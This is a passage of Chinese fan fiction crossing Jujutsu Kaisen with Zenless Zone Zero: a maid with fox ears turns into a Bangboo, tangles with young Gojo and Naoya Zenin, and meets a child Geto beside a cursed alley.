想到那口巧克力牛奶,花九最终还是没有说出拒绝的话,好在床够大,经过这一番折腾,被子里好不容易捂热的温度已经快冷掉了,她摸了摸五条小团子放在被子里的小短手,果然,有点凉。
可能是因为板蓝根起了效,今天的五条小团子很快就有了困意,没再要求她讲故事,只是睁着那双漂亮的猫眼在黑夜里静静地看着他。
像是想起什么,他伸出小手摸了摸自己的额头,又继续盯着花九看。
嘴上也没空着:“明天要出去吗?”
花九也很困了,以为他是担心自己又发烧,于是主动凑上去感受了一下他额头的温度,然后离开时安抚般摸了摸他的脑袋。
“要,悟少爷要是冷就离我近一点。”
五条悟一言不发的闭上了眼睛,花九也没多想,把他往自己怀里带了带,也准备入睡了。
不过,悟少爷最近是不是有点粘人了?
第二天醒来时,望着怀里熟睡的小团子,花九回忆着和对方的初见,开始思考这个问题。
像是为了引证她的话,脑中响起那个熟悉的声音。
【恭喜你已经熟练掌握了投喂、梳毛、逗猫、哄猫等能力,让可怜的小猫咪被你熟练地玩弄于股掌之中,顺利达成优秀猫咪饲养员成就,接下来将发放奖励】
花九沉默了一下:“虽然你的突然诈尸让我很开心,但我前面就想吐槽了,我们的设定应该不是在某个全息游戏里吧?”
起码要有必要的引导吧?
下一秒,他果然再次开口了:“现在,叫醒五条悟,并让他摸摸你的耳朵。”
花九抽了抽嘴角:“……你当我是犬希人吗,我是不会做那种事的。”
不靠谱都快刻到脑门上了好吗,究竟是谁需要……
“咳咳,所以奖励是真的有吗?”
要!要的就是奖励!
不承想,话音刚落,身体里突然翻滚起一阵热意,花九脚下一软,她眼疾手快的扶住墙壁,丝毫不怀疑人工智障的恶趣味。
“你不会是看中了我身体里的邦布核心吧?难道你是要把邦布召唤过……哇哒哇哒!”
视野突然变矮,花九呆了几秒,后知后觉的低下头,看到了自己痛失手指头的企鹅爪爪。
坏了,她好像变成邦布了。
更坏的事,床上的五条小团子翻了个身,将毫无防备的睡颜暴露在她面前,睫毛轻轻颤动着。
……更坏的事来了,他好像快醒了。
8. 第 8 章
糟糕,家居型邦布可是没有半点战斗力的,五条小团子战斗力可不低,她等下不会被当成什么妖怪或者不可名状生物祓除掉吧?
这么想着,花九开始小心翼翼地往后退去,但身体尚且不适应邦布的构造,她像喝醉酒一样努力控制着小短手和小短腿刚退了两步,就撞上了桌子腿,发出超大一声【Duang】。
被硬控了两秒钟的花九:“……”
她小心翼翼的把捂着脑袋的小短手放下来,假装不经意的瞟了一眼床边,这一眼就看到某个不知道什么时候已经醒了的白毛小团子正扒着床沿,静静地看着她。
!
现在装成不会说话的玩偶还来得及吗?
“你,是什么东西?”
果然,居高临下盯着她的白毛小团子说话了,眼底情绪浅淡。
感觉身体的掌握权逐渐回来了,花九一动不动,屏住呼吸紧盯着面前小神子的一举一动,只有头顶的狐狸耳朵悄悄动了一下。
几乎在下一瞬,花九行动敏捷的在地上蛄蛹着打了个滚,像摊开的面饼那样正面朝上,努力挥了几次小短腿才跳起来,顺利避开了扑过来的五条小团子。
“嗯呢嗯呢!”看招,乌鸦坐飞机!
“……啧。”
“嗯呢嗯呢!”黑虎掏心!
一大一小在屋子里你追我赶,将房间里的陈设破坏的乱七八糟,场面一度异常混乱,宛如台风过境。
听到拆家动静的侍女们慌忙的赶过来推开了门:“请问是发生了什……”
她们的声音卡在喉咙里。
屋内的景象惨不忍睹,还没等她们看清发生了什么,为首的侍女手上食案突然一轻。
外形酷似企鹅、长着狐狸耳朵的金色布偶用小短手顺手捞过了一块刚烘焙好的小饼干,踩上她肩膀一个起跳,像枚小型导弹一样发射出去了。
落地还岔开腿帅气的挥舞了一下小短手,然后开始继续跑,Q弹的耳朵随着动作一动一动的。
会动的布偶??
还没等她回过神,食案一角再次被人捏住,失踪一早上的悟少爷板着那张精致清冷的脸蛋以迅雷不及掩耳之势抓了一把小饼干,然后也跟着追了出去。
“别跟上来。”走之前他还不忘语气急促的警告道。
一人一玩偶就这样消失在走廊拐角处。
呆在原地的侍女们:“……”
???
悟少爷昨晚难道是睡在布偶……不是,侍女长的房间吗?那侍女长本人去哪儿了??
如果花九在现场,说不定还会一本正经的会解答她们的疑惑说是香妃娘娘变成蝴蝶飞走了,但她现在只是一只弱小无助但能跑的邦布,除了在脑子里尖叫死腿快跑啊以外毫无还手能力。
最终,她在木质走廊上被五条悟拦截了下来。
身体腾空,然后视角天旋地转,努力蹬腿也没能够到地面。
她被人提拎起来了。
对上那双充满审视的漂亮猫猫眼时,花九立刻闭上眼,整只邦布软趴趴的往后倒去。
这应该是她少有的比小神子体型还小的时候了,花九一边装死试图瞒过熊孩子天敌,一边如此想到。
与此同时,五条悟也在观察它。
这只奇形怪状的布偶看上去圆滚滚的,小胳膊小腿看起来根本支撑不住胖嘟嘟的身材,也不知道刚才怎么做到的跑这么快。
看起来倒是很清秀,属于眼睛的地方是类似显示屏的样子,此时正跳动着两个X,看耳朵和尾巴有点狐狸拟人的感觉,让人不由联想到了那只怪狐狸。
五条悟试探性的晃了几下,见它只是软趴趴的往后倒,像是被抠掉电池的布偶,完全是一副死掉了的状态,于是思考了一下,试探性的想去摸它的耳朵。
怀里的布偶突然挣扎了起来,但被不由分说的按住了,拼尽全力无法抵抗,只能怒声训斥:
“嗯呢嗯呢!”
把你爪子拿开!
五条悟只觉得手上触感软乎乎很有弹性,像在摸萨摩耶的耳朵,他面上不动声色,手上却加重了力道,开始像揉面团一样蹂躏布偶的脸蛋。
“……”
住手啊,你不是说你已经过了喜欢玩玩具的年纪了吗!
花九无奈了,但由于是居家型邦布,根本没有任何战斗力,只能任由眼前的白毛小团子揉圆搓扁,爱不释手的蹂躏它。
禅院甚尔和夜蛾正道刚进入五条家,便看到了这一幕。
他原本无意插手,但对方怀里那只奇形怪状在看到他以后仿佛看到了什么救命稻草,不知道哪来的力气挣脱了那臭小鬼的束缚,跑到了他身后,扒着他的裤脚谨慎的往外看。
禅院甚尔:“……”
这是什么东西?
被人为灌注了咒力的玩偶?
他只觉得这是个麻烦,何况虽然外形酷似,但今天的目的也不是它,禅院甚尔正准备将他扔回那个六眼小鬼身边,就见那向来高高在上的小鬼皱起脸,不太高兴的盯着他。
准确来说,是盯着他身后的玩偶看。
想要将其捞起来扔回去的手一顿,转而将其放到了自己肩膀上,禅院甚尔假装没看出他的不快,笑眯眯的打了个招呼。
“哟,看来我来得正是时候,我就是来找它的。”
身形高大的黑发青年面对清冷漂亮的小神子露出不加掩饰的恶意笑容,唇角的疤痕也为他增添了几分戾气和凶狠意味。
一旁的夜蛾正道闻到两人之间浓浓的火药味,正想劝甚尔不要欺负小孩子,就看到正趴在甚尔肩头的布偶像只虎头虎脑的小企鹅那样伸出爪爪扒拉了一下他的衣服。
是会动、而且貌似还拥有自我意识的玩偶,留着络腮胡的男人眼神顿时炽热了起来。
花九不懂他为什么突然用像看到自己流落在外的亲生孩子的眼神看着自己,但她今天还有其他事要做,再拖下去并无益处,于是她努力在甚尔肩头翻了个身,朝正紧盯着自己的五条小团子大力挥手。
“嗯呢嗯呢!”等我回来第一件事就来找你!
然而甚尔却像是要火上浇油那样:“看来你的小玩具也没多喜……啧!”
他话还没说完,心知这人说不出什么好话的花九就鲤鱼打挺跳起来给了他一巴掌。
力道刚刚好,懵逼不伤脑。
让你欺负我家小孩,看招!
禅院甚尔的脸瞬间就沉了下来,他正要发难,花九就被眼疾手快的夜蛾正道接过去了,男人咳嗽了一声,不自在的转移了话题。
“咳,我们不是来找王小姐吗……现在既然已经找到了她要的玩偶,我们走吧。”
他看向邦布形态的花九,得到对方小鸡啄米般的猛猛点头以后硬着头皮编了个谎话。
花九被他以一种扭捏如怀春少女的姿势抱着,突然切实感受到了来自爸爸宽厚的胸膛是什么感觉了。
果然,五条小团子的表情略微松动了。
*
“不是说要去找她吗?带这个东西出来是打算去儿童乐园?”
两人一邦布来到了几乎没什么人的街上,禅院甚尔两手插兜,表情不是很好看。
年轻气盛的少年,被来路不明的奇怪玩偶扇了一巴掌,没直接拆了它都算他今天心情好了。
夜蛾正道则翻来覆去的检查布偶的身体构造。
“王小姐没接电话,虽然找不到她人,但鉴于她每次都会制造一些让人意想不到的情况,或许在她来之前我们可以研究一下……”
话音未落,面前的虎头虎脑的玩偶从夜蛾正道手上一跃而下,伸了个懒腰,再起身时,留着金色长发的狐面具少女舒展了一下身体,这才好奇的看向了夜蛾正道。
“夜蛾先生准备研究什么?”
夜蛾正道眼里的光肉眼可见的熄灭了:“……”他最感兴趣的玩偶没了。
禅院甚尔:“……”他就说扇他一巴掌的这欠劲怎么这么眼熟。
顿了顿,他直接了当的问道:“你到底是什么东西?”
“拿东西形容我未免也太没有礼貌了,甚尔先生。”
花九皱着眉纠正他的说辞,活动了一下咔咔作响的关节:
“至于为什么变成那样,你可以理解成那是我的能力之一,让悟少爷看到纯属意外。”
虽然嘴上说得非常自然,但花九已经在内心把想一出是一出的神明大人狠狠骂了一通,她当时确实因为一些特殊原因把邦布核心装进了自己的体内,但维多利亚家政本身是不需要这些辅助也能圆满完成任务的。
何况……她体内是已经死去的邦布核心,按理说已经没有再苏醒的可能,她本以为神明给她的礼物是让她重新召唤出那个小邦布,却没想到是在产生短暂链接以后短时间内成为它。
如果是这样的话,那原本那只邦布的归宿又是哪里呢?
感觉自己的思绪不受控制的飘向了消沉的方向,花九拍了拍脑袋,及时止住了脑子里的胡思乱想。
“今天上完课以后,我想让你们陪我去咒灵聚集的地方。”
她说道。
*
结束了在硝子小团子的家教课以后,三人来到了一栋鬼气森森的废弃建筑前。
“比起那种无聊的测试,你还不如直接和我打一架。”
禅院甚尔兴致缺缺的咬碎舌尖上的酒心巧克力,醇厚的巧克力和酒味在味蕾里扩散开来。
这是两人拉着他不让他去酒吧后出此下策的安慰手段。
谁说酒心巧克力不算酒的?
“非必要我不想和人类打架。”
花九果然很快否决了这个提案。
闻言,黑发青年冷笑一声:“我可是听老头子说过,你是特级咒术师。”
来路不明的身世,不过比起那个,他更很好奇对方身为特级,究竟有什么能力。
他还记得那梅花树下惊艳的一刀。
好奇这个拥有咒力的人摈弃体术使用咒力时,和天生零咒力的他到底有什么区别。
片刻后,随着一声从远到近的尖叫声,体型呈长方体的圆滚滚布偶迈着小短腿从黑暗里冲了出来。
虽然看不到身后跟着什么,但禅院甚尔依然能凭借自己的超强感官能力感受到后面跟来的是密密麻麻的咒灵。
下一秒,它以迅雷不及掩耳之势冲到了禅院甚尔身后,朝追上来的咒灵们做了个鬼脸。
被迫做了人肉盾牌的禅院甚尔:“……”
你管这叫特级?
……
经过一番测试,最后可以得出以下结果:
1:邦布形态目前暂时是不可控的,且持续时间很短,没有战斗力
2:它可以做到检测咒力和一定的导航功能,除此之外的技能还有待挖掘
3:邦布形态是可以被普通人看到的,不像自己的耳朵和尾巴只能让有咒力的人看到,且能自己选择要不要露出来
4:哪怕是个吉祥物,它也是最可爱的吉祥物
总结下来就是,邦布有一定的辅助能力,但是战斗还是只能她自己来。
解决掉扑上来的最后一只咒灵,禅院甚尔甩干刀上的咒灵血,正懒洋洋的回答夜蛾正道的问题。
“家入家那个小鬼头一看就是平时疏于锻炼,按照她的体魄,强身健体可以,想要在体术上有什么成就不太可能。”
他瞥了眼面前这个看上去就很严肃的男人,终于问出了那个一直藏在心里的问题。
“你只是那学校的班主任吧?有必要那么努力去招新和带潜在学生么?”
虽然跟花九等人出来当临时的体术老师,但最终目的也只是在为了离开禅院家那个迂腐又无聊的地方做准备。
禅院甚尔看得出对方在这件事上的认真,也无法理解夜蛾正道在对教育这件事上的热忱。<
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“哪怕只是教师,也应该尽可能去做能做到的事。”
夜蛾正道回答道,回答也同本人的形象一般一板一眼。
“不管是家入家那个孩子,还是五条家那位神子,他们都是咒术界的未来,也是可塑之才,我不想让他们白白浪费自己的天赋。”
说着,他转头看向花九:“王小姐执意留在五条家,也是因为惜才吧?”
……这还真不是,哪怕五条悟并非高高在上的神子,而是货真价实的拆家小猫咪,她也不会弃对方而去,只是会很嫌弃就是了。
花九轻咳一声,转移了话题:
“据我所知,夜蛾先生已经结婚了吧?除了繁重的授课任务,业余还要做家教,时间真的够用么?”
闻言,男人愣了一下,这个情绪向来内敛的壮汉终于露出了有些羞赧的表情,他苦笑着摇了摇头:
“我的妻子在另一个领域上也是个很厉害的人,我们互相欣赏着对方,但也确实没有维系感情的时间。”
原来是女强人那种类型吗?
花九顿时更加好奇夜蛾先生的妻子会是什么样的人了,就见他郑重其事的转向了禅院甚尔。
“你很有天赋,我希望你能作为咒术高专的体术老师留下来。”
禅院甚尔闻言停下了脚步:“可惜我对走上正道毫无兴趣。”
他扬起嘴角,唇角的疤痕被牵动着,露出一个嘲讽的笑容。
“少说些蠢话了,我只想离开那个见鬼的禅院家,对所谓的教育和正道敬谢不敏,如果不是没有做好准备,我已经彻底自由了。”
说着就要迈步离开。
“那既然总要离开禅院家,为什么不能试试呢?”
花九的声音冷不丁在身后响了起来。
“什么意思?”
禅院甚尔回过头,面无表情的看着眼前的少女。
她看着比自己年纪还小,虽然说话做事都让人感觉不到任何攻击性,据说是个特级,却甘愿困在死板的宅邸里,在迂腐又肮脏的御三家里也是彻头彻尾的怪人和疯子。
但此时那古怪的狐面下也没有露出半点笑意,只是轻轻歪了歪头,狐面上的诡谲线条有一瞬间给人一种活过来的错觉。
“你也没想好接下来要走的路吧?为什么不能尝试一下呢?尝试过之后觉得不行,到时候再离开也没有半点损失吧?”
“况且,左右都是要离开,为什么不选一个更体面的离开方式,至少离开之前,小小的捞上一笔、将利益最大化呢?”
“让我这样的人来从事教育行业,你可真是恶趣味的人。”
不,其实是人工智障的要求,虽然她也觉得很有趣就是了。
这个提案无疑很有吸引力,禅院甚尔紧盯着她,终于面无表情的开口了。
“如果能做到的话,你想要什么?”
他不相信天下会有免费的午餐。
“我要你一个承诺。”
戴着狐面的少女挑起嘴角,笑得漂亮又诱惑,仿佛某种摄人心魄的精怪,嫣红的唇瓣一张一合,仿佛摄人心魄的妖怪。
“我要你答应我,任何时候,都不能对五条悟出手。”
“就这么简单?”禅院甚尔皱着眉头看她,仿佛在看什么让人无法理解的怪物。
“那个六眼小鬼到底给了你什么好处,能让你这么死心塌地的跟着他。”
不,你根本不懂小孩有多好玩。
花九在心里回答道,如果可以,她宁愿悟少爷一直保持这个样子,不要再长大了。
不过禅院甚尔也没要求她的回答,他看了眼窗外,最终还是答应下来:
“我答应你,我本来也对那个小鬼不感兴趣,但是你们也要答应我,其他时间不能干涉我的任何行动。”
心知想要改变这个刺头儿一样的少年难度难于登天,夜蛾正道这次也没有多说什么,答应了下来。
十分钟前。
关于邦布的咒力测试已经正式结束,解除了帐以后,三人开始往外走,不远处的街道上,一个被母亲领着往家走的孩子像是感觉到了什么,转头看向了那栋据说闹鬼的废弃建筑。
他看到窗户上一闪而过的狐狸耳朵,一只胖乎乎的布偶踩在健壮男人的肩膀上,像是感觉到视线,它扭过头,视线精准无误的落到了那个孩子身上。
见对方没有被吓到,像是某种恶作剧一样,电子屏幕上的眼睛变成了^^,它开心的朝那个孩子挥了挥手,肢体动作异常热情。
第一次见到这如此奇怪的一幕,孩子看呆住了,旁边的母亲见自家儿子停下来,正要问他发生什么事了,就听到小男孩先出声了。
“妈妈,那里有会动的玩偶。”
说话的声音很稚嫩,留着妹妹头,背后扎起一个小啾啾的黑发小男孩指了指那扇窗户,他生得眉清目秀,说话声音也轻声细语的,俨然是个乖孩子的模样。
女人一惊,顺着他的视线看去,却什么也没看到,不由打了个寒颤,但她还是勉强挤出了一个笑容。
“小杰乖,你应该是看错了,那里都没有住人,怎么会有会动的玩偶呢?我们快回家吧,等回家妈妈给你□□吃的菜。”
背着书包的小男孩静静地看着自己母亲脸上那明明写满恐慌却强作镇定的表情,再次抬头看向那扇窗户。
可那里空空如也,刚刚和他打招呼的玩偶已经消失不见了,他也并没有从它身上感受到恶意,对方真的只是和他挥了挥手,然后就不见了。
不是错觉,没有看错。
他想这么说。
他喜欢这种久违的善意,但母亲的手已经牢牢的抓着他的胳膊,大有他不回家就将他拽回去的架势。
“小杰?”女人见拉不动他,再次催促道,语气里充满紧张。
“……我知道了。”
最终,小男孩如此低声说道,听话的迈出了脚步。
9. 第 9 章
“那么,请容我带着悟少爷先行告退。”
花九不慌不忙的向在座的长老和家眷们鞠了一躬,待到众人的身影彻底消失在帘幕后,那种让人不适和压抑的感觉总算消失了。
虽然几年下来,这种家宴举办的次数不多,但已经足以让人厌烦了,那些封建迂腐到骨子里的老东西齐聚一堂时简直让在场的空气都清新了几百年。
“喂,愣着干嘛呢?走了。”
见她站着不动,五条悟有些不耐烦的出声催促。
果然,事实证明,小男孩果然还是小的时候最可爱了。
花九露出一个七分礼貌三分不爽的微笑:“不好意思,人有三急,悟少爷,我这边可能得去趟厕所,没什么事的话您自己先回去吧。”
“你是想去外面吃家宴上你悄悄瞄的那道菜吧?”五条悟毫不客气的揭穿了她。
“要去的话把我也带上。”
可恶,自己明明只偷偷看了两眼,他明明全程都没有在看自己,又是怎么的知道她的想法?
“还有,你中途离场去厕所的时候,遇到了一个向你求助的侍女吧?明明帮她没有任何实质性的好处,真是搞不懂你。”
五条悟一如既往地敏锐,他微微停下脚步,虽然说这话时表情很平静,但通过这几年的相处,花九能看出他这时候是有些不开心的。
从七岁时期开始,他似乎就不喜欢自己离开五条家去做其他事。
但是像完成委托就能得到灵力修炼,加快让口口口先生苏醒的速度这些事,都属于秘密的范畴,花九并不打算告诉眼前的悟少爷这些东西,所以宁愿把自己塑造成工作狂的形象。
“接下来半天都是我的休假时间,请您和自己的贴身侍女保持距离,悟少爷。”
不想孩子气的把不开心挂在脸上,花九面不改色的拒绝掉了。
哦,还是有相似点的,比如今年已经满了十岁的悟少爷依然和七岁那年那样一如既往地难缠和粘人。
“哦,是吗,无所谓,就算你不想我跟着,也拦不住我。”
白发蓝眼的男孩耸了耸肩,露出一个恶意满满的笑容,显然是打算把我行我素贯彻到底。
花九:“……”麻个叽,更生气了。
两人并肩在走廊里行走着,五条悟虽然很难哄,但却不是个难伺候讲规矩的人,他正要再说什么时,迎面走过来一个人。
视线交接上时,花九认出那是禅院家的小儿子,于是微微鞠躬朝他问好,然而对方却停了下来,微微扬起下巴,看上去似乎来者不善。
于是花九微微一笑,主动开口了:“直哉少爷。”
单论外表,这个比悟少爷还小一岁的男孩其实长得很美丽,像个讨喜的瓷娃娃,只是那双眼睛里始终有着某种让人不适的傲慢,投过来的打量视线也很冒犯,仿佛在打量什么待价而沽的商品。
他看了看和五条悟并肩的花九,皱起了眉头,非常直接的开口了:
“你是个没有规矩的女人,作为一个下人和女人,你是没有资格走在主人身边的,你的身材确实不错,但你不应该把脸挡起来,会影响你的评分。”
闻言,花九没什么反应,而五条悟原本就漫不经心的脸色则沉下去了。
“关你屁事,让开。”银发蓝眸的男孩眼皮都懒得抬,连对方的名字都没提,眼见着就要拉着花九离开。
他根本不在乎他是谁,不如说,就算知道也不在乎。
“请稍等一下。”
这位小少爷她也略有耳闻,以目无尊长和嚣张跋扈出名,之前虽然也撞见了几次,但这样正面碰上还是第一次。
但她其实也找这位少爷有事,原本打算之后再潜入禅院家,没想到对方和他们一样提前离席了。
花九在心里感激他免去了自己的麻烦,于是好脾气的微笑着,点出了对方的名字:“那在直哉少爷心里,我会被打几分呢?”
这个被惯坏的小男孩当真歪头思考了一下,不加掩饰的估量视线从她身上挑剔的扫过,才勉强给出一个相对不算低的分数。
“如果面具底下不丑的话,勉强有七分吧。”
他直接道。
“能得到直哉少爷这么高的评价,我很高兴。”
花九微微颔首,看向了一旁的五条悟:“悟少爷也听到了吧?可以麻烦您在旁边看着点人吗?”
五条悟一愣,随即露出了兴奋的笑容,似乎终于遇到了感兴趣的事,因此提起了兴致。
“当然可以。”
他最喜欢看乐子了。
虽然没听懂两人的对话,但禅院直哉却敏锐的察觉到了一丝微妙的不对劲,但这是禅院家,他不相信会有人敢在他家的地盘上动手,更不愿意相信动手的是他看不起的卑贱之人。
禅院直哉正要喊人,却发现眼前的侍女不知何时消失了,他诧异的往庭院看了一眼,刚一转回来,一张描画着诡谲图案的狐狸傩面突然凑了过来,几乎撞上他的鼻尖。
她以一种柔韧而古怪的姿势俯下身,冷冰冰的非人感的气息侵袭过来,那双鎏金色的眼眸十分愉悦的眯了起来,美得让人心惊,还没等他多看两眼,就听到清脆的一声响,视线直接被扇歪到另一边。
柑橘味的香气还残留着鼻腔里,他脸上多了个鲜明的巴掌印,火辣辣的痛。
禅院直哉从小到大哪里挨过女人的打?
从发现术式开始到现在,已经被宠坏的禅院直哉彻底愣住了,在回过神时,原本可爱的脸蛋一瞬间扭曲起来:“你知道你在做什么吗?你这肆意妄为的贱……”
啪!
又是一记响亮的耳光,这下左右都均匀了。
“我要杀了你!”
禅院直哉在禅院家哪里受过这种委屈?
他暴怒的大喊一声,甚至忘了自己一直在练习的术式
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,眼见着就要冲上来动手,但下一秒,他的身体像是穿过了无形的屏障,直直的从她身体里穿了过去。
而罪魁祸首脸上是冷淡而正经的表情,看他的眼神宛如在看一个不懂事的孩子:
“正是因为知道您年纪小,还有纠正回来的可能性,不然等您长大,落在您脸上的就不是我的手了。”
禅院家还没有人敢这么教育他,禅院直哉恨得牙痒痒,不远处传来仆从们的惊呼,似乎是有人过来了,然后响起了五条悟稚嫩但冷冰冰的声音。
“我不喜欢有人走在我前面,只是在散步而已,拿着武器围上来是想死么?”
下一秒,另一边也传来了直哉恼羞成怒的声音:“滚开!一群废物,敢过来就杀了你们!”
禅院家的仆从们:“……”这工作也太操蛋了。
挡在必经之路的是五条家的贵客,不让上前的是自家少爷,一时半会儿他们还真不敢轻举妄动。
见那边确实没了动静,禅院直哉用红得快滴血的眼睛死死瞪着王花九。
“你别以为你现在在五条家做事,就可以骑到我头上……”
“啪!”
又是一记耳光。
太疼了,禅院直哉终于松了口:“我说错了,你其实也没那么……”
“啪!”
“为什么都道歉了还打!”禅院直哉因为这不讲武德的行为而震怒。
“直哉少爷,我充分理解你讨厌我的心情,但看来你接受的兄友弟恭友善待人的教育又很好的弥补了这一点,总之不还手肯定不是因为打不过我吧?”
狐耳少女神色清冷,说出的话却刺耳的不行,她俯下身凑近禅院直哉,那股柑橘味的香气再次浓烈起来。
“女人并非像你说的那样弱小,这次只是警告,下次再让我听到你说这种话,我就把你打破相塞进你喜欢的男人肚子里去,听懂了吗?”
……
片刻后,脸蛋红肿的禅院直哉一脸不服气的出现在了众人的视线里,旁边是一脸神清气爽的花九。
“……不想再因为不够出色的外貌被羞辱和看低,想让傲慢的直哉少爷也感受到被羞辱的感觉。”
所以就在刚刚,完成了那侍女委托的她又顺利获得了一点灵力,这个认知让她非常开心。
以至于她一看到五条悟,就像看到了自己的救命稻草一样,跑过去开始少爷长少爷短嘘寒问暖,众人面面相觑,有人小心翼翼的开口道:
“直哉少爷,您的脸……”
一听到这个关键词,这个向来坏脾气的小孩身子一抖,然后反应过来便开始故作镇定:“我自己摔的。”
“可是……”纯摔能摔出这么标准的巴掌印吗?
遭到质疑的禅院直哉震怒:“都说了是自己摔的!不然难道是这女人打的吗!”
禅院家下人:“……”
他们好像知道真相了。
10. 第 10 章
好不容易以“只要你今天听话,我就去给你排队买超难买的数码宝贝和KFC联名的限量前五十儿童套餐”打发了五条悟提前回家,花九跑了两家店,终于在第三家店买到了全套周边套餐。
这种时候就会意识到对方果然还是个小孩子啊。
她提着打包袋,站在人群里等红绿灯,正要跟随大流走上斑马线时,突然注意到了异常。
是咒灵的气息,从旁边的小巷子里传来,浓烈到让人无法忽视的程度。
花九仅仅犹豫了几秒,看了眼手上散发着热气的食物,最终还是退回了路边。
如果解决的速度够快的话,应该不至于会冷掉。
……
“喂,夏油,你要不再说说你看到的那个怪物长什么样吧?”
几个一起放学回家的小学生正踩着夕阳往这个方向走过来,一个背着书包的小胖子与同伴对视一眼,用胳膊肘捅了捅一旁的黑发男孩,笑眯眯的问道。
被问到的是一个留着妹妹头的黑发小男孩,和旁边几个人毛毛糙糙的挤撞不同,他的一举一动看上去秀气又文静,声音稚嫩有条理。
“那是一只像苍蝇一样,有着很大肚子的怪物,当时就趴在佐田老师的脚边。”
即便知道同学并不相信自己说的话,但夏油杰还是认真的说明了当时的情况。
小胖子和旁边的人对视一眼,觉得他的反应有些没劲,于是粗声粗气的道:
“可是你说的怪物根本不存在,你还因为扰乱课堂记录被佐田老师罚打扫卫生了,大家都说你是个撒谎精,妈妈说撒谎精是没有朋友的。”
“……我没有说谎。”夏油杰带着几分倔强再次重申道,虽然脸上表情有些失落,但丝毫没有让步的打算。
旁边瘦小的男孩连忙打圆场:“好了好了,夏油说有就有吧,夏油,我们等下要去游戏厅玩,你要一起吗?”
虽然主动发出了邀请,但其实他也没有真指望夏油杰会答应,果然,下一秒,就见那个向来听话的男孩摇了摇头。
“我不去,回去晚了妈妈会担心的。”
又是这个回答,两个同学对视一眼,但最终还是没有再强行挽留他,只是眼神里明显写满了“又是这样”。
很听大人的话,但是不让大人省心的孩子,那些大人们是这么形容夏油的。
……
和同学道别以后,夏油杰抬起手看了眼手表上的时间,正准备按照原本的放学路线回家,突然敏锐的感觉到了不对。
他看到一只长着人形,但本该是脸的地方被内凹的旋涡状利齿占据的庞大怪物,流着涎水一步步走进了一条隐秘的小巷。
夏油杰记得这条小巷,很窄很长,但里面是个死胡同,是同学们说要冒险所以跑来玩过的地方,虽然那次他也看到了奇怪的妖怪怪物,并让其他人及时远离了。
但同学们后面再提到这件事的时候,却是异口同声的说:“夏油实在太扫兴了!”
这些话究竟该不该说,能不能说,夏油杰自己也不清楚,他只是害怕对方遇到危险,哪怕这样做的后果是让自己成为大家眼中的怪人和撒谎精。
他只能靠执着的一遍遍告诉自己必须要这么做,来坚持行为上的正确。
毕竟大家都说,人活在世界上,是必须要有意义的。
那么,意义又是什么呢?
意识到自己站在原地想了太多,已经快耽误回家的时间,夏油杰轻轻出了口气,庆幸那里并没有人,正准备转身离开的时候,接下来发生的一幕让他心脏再次提了起来。
一个长着狐耳狐尾的大姐姐,正在毫无自知的走向那个危险的小巷子。
十岁的夏油杰微微睁大眼,下意识用小手揉了揉眼睛。
真的是尾巴,看上去很蓬松,旁若无人的在视线里一晃一晃的,她的装扮看上去像是某个古老家族的侍女,纤瘦的脊背挺得笔直而端正,甚至因为角度原因,对方在进入巷子微微侧过脸,露出一张古怪又瘆人的狐狸面具,半边破损的铃铛仿佛某种耳饰,正轻轻晃荡着。
细看甚至会觉得那面具上正在从里到外渗出暗红的血迹。
……这是他第一次看到这么奇怪的妖怪,那及腰的金发犹如流水般垂下的绸缎,并非他经常见到的奇形怪状,张牙舞爪,而是带着端庄的东方美感,冷清而自若。
等夏油杰回过神的时候,对方已经头也不回的踏进了小巷子。
“等等……!那里有、那里有!”
他大喊着试图阻止对方,但距离太远,对方根本没听到他的声音,或者说即使听到了也不觉得是在叫自己,很快,她的身影消失在巷子里。
自己站在大街上大喊大叫的行为招来了一些路人的围观,但从小到大,夏油杰早已习惯他人异样的视线,他只是执拗的盯着那个巷子,迟迟不见对方出来。
他要怎么办?
他要怎么做?
旁人能看到那位神秘的妖怪小姐吗?
如果她和里面的怪物是一伙的,他又该怎么逃走?发现自己迟迟没回家的妈妈又会怎么做?
这种种问题萦绕夏油杰心头,让他迈不出步子,理智告诉他应该赶紧转身回家,但潜意识里又有个声音告诉他,这是不容错过的机会。
如果……<
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p>如果同为异类的她能理解自己呢?
如果她能知晓自己的困扰呢?
在夏油杰反应过来的时候,他已经鬼使神差走了过去,正站在巷子外,只差一步就能踏进去。
他咬紧了嘴唇,最终还是没能抗拒内心的声音,走进了巷子里。
巷子里瞬间安静下来,外面嘈杂的人声和车流声一瞬间远去,隔着玻璃罩子般让人听不清,里面看不到人,妖怪小姐和那只怪物恐怕是走进了更深的拐角,夏油杰只得硬着头皮继续往里走去。
果然,刚过拐角,他就看到了两人的身影,那只先前看到的怪物正虎视眈眈的看着眼前显得娇小的人影,眼看着就要遇到危险。
夏油杰瞬间忘了自己的处境,大声提醒那个不知为何站在原地的妖怪小姐:
“快逃!!”
他的声音因为恐惧而紧绷,尖锐的在巷子里回荡,同时吸引了两人的注意力,瞬间,不光怪物,就连妖怪小姐也猛地转过脸看向了他!
夏油杰一出声就后悔了,同时感受到两股视线时,后背的汗毛瞬间炸开,像是被危险之物盯上的直觉让他瞬间苍白了脸,浑身上下每一个细胞都在叫嚣着危险和快逃走,偏偏身体还停在原处动弹不得。
“你、你需要按摩吗?”
果然,怪物被他吸引,放弃了面前的少女,转而向他走来,夏油杰正想逃走,但前一秒还离自己有段距离的妖怪小姐鬼魅般出现在自己面前,果断拔刀出鞘。
他还没看清那是什么,就见寒光一闪,面前怪物的肥硕的身体便迸出一道血线,像坐滑滑梯一般,上半边身体从下半边身体上滑了下去。
“……”
夏油杰惊愕的睁大眼,就见面前的妖怪小姐轻出一口气,刚才使用的刀剑也凭空消失了,她回过头,神色不善的盯着自己,手上似乎还提着什么东西。
“为什么没事往这种危险的地方跑?”
“这巷子里经常有怪物,姐姐你下次不要来这种地方了。”
两个人同时开口,肉眼可见的,面前有着金色长发的妖怪小姐愣怔了一瞬。
“你……是为了提醒我才跑进来的?你也能看到它们?”
夏油杰仰起头,发现近距离看那张面具似乎更吓人了,但对方的声音似乎因为他的话温和了一些。
他没忘记自己的目的,坚定的点了点头:“我不会在看到你遇到危险之后还坐视不管。”
这次,妖怪小姐沉默的时间似乎格外长。
“你……叫什么名字?”
远在家里还等着吃KFC的五条悟打了个喷嚏,突然莫名感到了一些不爽。
11.第 11 章
半个小时后,店里的冷气让夏油杰紧绷的身体略微放松了下来,两人正坐在靠窗的位置,面前的妖怪小姐视线并没有放在他身上,只是百无聊赖的看着外面的行人。
“那个,”他主动举起手:“这样做真的没关系吗?这份……是您要给家人带回去的吧?”
